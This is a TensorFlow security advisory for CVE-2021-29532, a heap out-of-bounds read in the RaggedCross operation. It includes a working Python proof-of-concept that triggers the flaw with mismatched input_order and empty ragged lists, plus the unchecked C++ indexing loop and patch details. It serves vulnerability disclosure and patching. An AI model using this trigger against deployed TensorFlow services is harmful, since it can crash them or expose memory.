Heap out of bounds read in `RaggedCross`

Low **mihaimaruseac** published **GHSA-j47f-4232-hvv8** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to `tf.raw_ops.RaggedCross`:

```
import tensorflow as tf

ragged_values = []
ragged_row_splits = []
sparse_indices = []
sparse_values = []
sparse_shape = []

dense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)
dense_inputs = [dense_inputs_elem]

input_order = "R"
hashed_output = False
num_buckets = 0
hash_key = 0

tf.raw_ops.RaggedCross(ragged_values=ragged_values,
    ragged_row_splits=ragged_row_splits,
    sparse_indices=sparse_indices,
    sparse_values=sparse_values,
    sparse_shape=sparse_shape,
    dense_inputs=dense_inputs,
    input_order=input_order,
    hashed_output=hashed_output,
    num_buckets=num_buckets,
    hash_key=hash_key,
    out_values_type=tf.int64,
    out_row_splits_type=tf.int64)
```

This is because the implementation lacks validation for the user supplied arguments:

```
int next_ragged = 0;
int next_sparse = 0;
int next_dense = 0;
for (char c : input_order_) {
  if (c == 'R') {
    TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(
        ragged_values_list[next_ragged], ragged_splits_list[next_ragged],
        features));
    next_ragged++;
  } else if (c == 'S') {
    TF_RETURN_IF_ERROR(BuildSparseFeatureReader(
        sparse_indices_list[next_sparse], sparse_values_list[next_sparse],
        batch_size, features));
    next_sparse++;
  } else if (c == 'D') {
    TF_RETURN_IF_ERROR(
        BuildDenseFeatureReader(dense_list[next_dense++], features));
  }
  ...
}
```

Each of the above branches call a helper function after accessing array elements via a `*_list[next_*]` pattern, followed by incrementing the `next_*` index. However, as there is no validation that the `next_*` values are in the valid range for the corresponding `*_list` arrays, this results in heap OOB reads.

Patches

We have patched the issue in GitHub commit 44b7f486c0143f68b56c34e2d01e146ee445134a.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29532

Weaknesses

No CWEs